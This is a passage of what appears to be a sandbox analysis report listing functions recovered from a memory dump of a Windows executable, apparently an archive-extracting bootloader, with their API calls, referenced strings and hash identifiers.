Failed to extract %s: failed to open archive file!, xrefs: 00007FF7CA79146F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7CA79159A
fseek, xrefs: 00007FF7CA7914B0

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 94936c7862b543b9ad9b9c04eb1d0524d04a0463598d2a78f1e4fedd13304a2f
Instruction ID: a0eb16912b932c42a1d9baf0563eb8dcd5e61943c4c21d96487518526caeb14a
Opcode Fuzzy Hash: 94936c7862b543b9ad9b9c04eb1d0524d04a0463598d2a78f1e4fedd13304a2f
Instruction Fuzzy Hash: C7418E61B0864281FA60BF37B4619BAE3A0FB5C7E6FD44072DE4E07A95EE3CE5418710

Function 00007FF7CA79DD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7CA79DD85

Part of subcall function 00007FF7CA79ECDC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7CA79ED1F
Part of subcall function 00007FF7CA79ECDC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7CA79ED44

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7CA79DE5D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7CA79E0AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7CA79E1B8

Strings

csm, xrefs: 00007FF7CA79DE80
csm, xrefs: 00007FF7CA79DE06
csm, xrefs: 00007FF7CA79DD9F

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction ID: 1925f6e7017e78e0b43f54eb533ee5ff043b008a596f0a969bcec1978b100ddf
Opcode Fuzzy Hash: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
Instruction Fuzzy Hash: 3CD19132A0874186FB20AF76E4517ADB7A0FB587AAF900176EE4D57796DF38E480C710

Function 00007FF7CA79CFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D06D
GetLastError.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D0A5
FreeLibrary.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D113
GetProcAddress.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D11F

Strings

api-ms-, xrefs: 00007FF7CA79D08D

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: 0118371054b136b923ac20cc59fc5901ea0ad48df6ba7f1a83973a246ef4d33c
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: 5931B461A1AB4285FE11AF3BB520A75A394BF4CB76F990576DD1D07391EF3CE4428320

Function 00007FF7CA7AA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7CA7AA46F
FlsGetValue.KERNEL32 ref: 00007FF7CA7AA484
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4A5
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4D2
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4E3
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4F4
SetLastError.KERNEL32 ref: 00007FF7CA7AA50F

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
Instruction ID: 0314e74cc5f95f78e9c49c88b710fc0b5e1f18f0eb6b879f71166abd8444de39
Opcode Fuzzy Hash: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
Instruction Fuzzy Hash: 9B219D20A0C64662FA65BF277665178E1527F4C7B2F9426B4E83E07AD6DE2CAC004720

Function 00007FF7CA7B707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7CA7B70AD
GetLastError.KERNEL32 ref: 00007FF7CA7B70B9
CloseHandle.KERNEL32 ref: 00007FF7CA7B70D1
CreateFileW.KERNEL32 ref: 00007FF7CA7B70FC
WriteConsoleW.KERNEL32 ref: 00007FF7CA7B711B

Strings

CONOUT$, xrefs: 00007FF7CA7B70DD

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction ID: f86253c2b65eb7a1b658cc356d3a13d7cf5fda6afa7b7a5a195bda1a9b4315be
Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction Fuzzy Hash: DD117F61A18B4586F760AF03B864729A2A4BB9CBF5F904274EE1D877A4DF3CD4048750

Function 00007FF7CA7981F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA79821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA79827A

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA798305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA798364
FreeLibrary.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA798375
FreeLibrary.KERNEL32(?,00000000,?,00007FF7CA7939F2), ref: 00007FF7CA79838A

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: bfcefcadc4499c1de8e385cb70073816e38e2b1c8d4e625d2f32d7c46dc3e7cf
Instruction ID: b80aa7439ca25f78f7b8e0553ee0647e961ae5b716fc38f6ff84b748aaf1a4ee
Opcode Fuzzy Hash: bfcefcadc4499c1de8e385cb70073816e38e2b1c8d4e625d2f32d7c46dc3e7cf
Instruction Fuzzy Hash: AE41A362A1968281FA30AF33B424ABEB398FB88BA1F844176DF5C57785DE3CD401C710

Function 00007FF7CA7AA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7CA7A43FD,?,?,?,?,00007FF7CA7A979A,?,?,?,?,00007FF7CA7A649F), ref: 00007FF7CA7AA5E7
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A43FD,?,?,?,?,00007FF7CA7A979A,?,?,?,?,00007FF7CA7A649F), ref: 00007FF7CA7AA61D
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A43FD,?,?,?,?,00007FF7CA7A979A,?,?,?,?,00007FF7CA7A649F), ref: 00007FF7CA7AA64A
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A43FD,?,?,?,?,00007FF7CA7A979A,?,?,?,?,00007FF7CA7A649F), ref: 00007FF7CA7AA65B
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A43FD,?,?,?,?,00007FF7CA7A979A,?,?,?,?,00007FF7CA7A649F), ref: 00007FF7CA7AA66C
SetLastError.KERNEL32(?,?,?,00007FF7CA7A43FD,?,?,?,?,00007FF7CA7A979A,?,?,?,?,00007FF7CA7A649F), ref: 00007FF7CA7AA687

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
Instruction ID: 5d77c655523dddd8586e90b104688b61fb5d3278ec2988c3befdb2e66f7dfe03
Opcode Fuzzy Hash: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
Instruction Fuzzy Hash: F5118B20A0828662FE54BF237670138E2527F8D7B2F9463B4D83E076D6DE2CAC004B21

Function 00007FF7CA792300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7CA792338
DialogBoxIndirectParamW.USER32 ref: 00007FF7CA7923FE
DeleteObject.GDI32 ref: 00007FF7CA792431
DestroyIcon.USER32 ref: 00007FF7CA792443

Strings

Unhandled exception in script, xrefs: 00007FF7CA792368

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 43e0e9fc7257205e5ba4956726e7fb7afbd4954ec96d29d9005c09c1dc537ba6
Instruction ID: 212bd4a2b353b85c56b0cc94476a372b3865c2bf3c5935bd9096bb9bc884cbf4
Opcode Fuzzy Hash: 43e0e9fc7257205e5ba4956726e7fb7afbd4954ec96d29d9005c09c1dc537ba6
Instruction Fuzzy Hash: B7316C72609A8289FB20AF62F8656F9A360FB8C7A5F800076EE4D47B55DF3CD5008710

Function 00007FF7CA792760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

MessageBoxW.USER32 ref: 00007FF7CA79283B
MessageBoxA.USER32 ref: 00007FF7CA79284F

Strings

Error/warning (ANSI fallback), xrefs: 00007FF7CA792843
%s%s: %s, xrefs: 00007FF7CA7927EC
Error, xrefs: 00007FF7CA79282C

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
API String ID: 1878133881-640379615
Opcode ID: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction ID: 95f9bd363c724dbb789ab6f5602f14869ae8d02f96b89d7cb24c79b28771fa51
Opcode Fuzzy Hash: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction Fuzzy Hash: DE21947262878591F620EF21F461BEAA364FF88795FC01076EA8D03A99DF3CD645C750

Function 00007FF7CA7A8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7CA7A8DC5
GetProcAddress.KERNEL32 ref: 00007FF7CA7A8DDB
FreeLibrary.KERNEL32 ref: 00007FF7CA7A8E02

Strings

mscoree.dll, xrefs: 00007FF7CA7A8DBC
CorExitProcess, xrefs: 00007FF7CA7A8DD4

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction ID: 11f1b31100eddaf92d395bd8bee3a8878fc4952c83ed6e0440bfc59dd8a9c3d0
Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction Fuzzy Hash: 3EF0A46160870281FA106F26B4687799360BF9D776FC406B5CD6D461F4CF3CD849C320

Function 00007FF7CA7B8678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7CA7B86A0
_set_statfp.LIBCMT ref: 00007FF7CA7B86BB
_set_statfp.LIBCMT ref: 00007FF7CA7B86D7
_set_statfp.LIBCMT ref: 00007FF7CA7B8713

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: e3884f16d3664c60c20099bd679695896b6fe2dc4e2231c999fcb16b5720ec65
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: CF116DA2E68B0201F6543F6AF87E37592407F7C37AF9506B5ED7E066D68E2CA8418130

Function 00007FF7CA7AA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7CA7A98B3,?,?,00000000,00007FF7CA7A9B4E,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7AA6BF
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A98B3,?,?,00000000,00007FF7CA7A9B4E,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7AA6DE
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A98B3,?,?,00000000,00007FF7CA7A9B4E,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7AA706
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A98B3,?,?,00000000,00007FF7CA7A9B4E,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7AA717
FlsSetValue.KERNEL32(?,?,?,00007FF7CA7A98B3,?,?,00000000,00007FF7CA7A9B4E,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7AA728

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
Instruction ID: 5950acdc0486caaf04717c9d61a85c7be4463ba4d50dba437fd2e5c25e3ec809
Opcode Fuzzy Hash: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
Instruction Fuzzy Hash: AF116320A0C64612FE55BF277571179B2617F4D3B1F9863B4D83D076D6DD2CAD114720

Function 00007FF7CA7AA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7CA7AA545
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA564
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA58C
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA59D
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA5AE

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
Instruction ID: 45f58f79a99c57b27897959b6dc8e61bf80e83054fb8133a630ea4285d17a48e
Opcode Fuzzy Hash: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
Instruction Fuzzy Hash: 88114860A0960B62FE59BE377431179A2912F4E372FD827B4D93E0A2D2ED2CBC104735

Function 00007FF7CA7A52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A54CC

Strings

verbose, xrefs: 00007FF7CA7A52C0

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: 42c661bcbece017b442733abeb23d88a5d058ca9426d124f2484c1d4d4e6cfe0
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: B491E432A08A4661F724AE26E46037DB396BB48B76FC86175DA4D463D5DF3DEC018321

Function 00007FF7CA7AEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AF1B7

Part of subcall function 00007FF7CA7A6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A6D69

Strings

ccs, xrefs: 00007FF7CA7AF0F2
UTF-8, xrefs: 00007FF7CA7AF136
UTF-16LEUNICODE, xrefs: 00007FF7CA7AF155

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
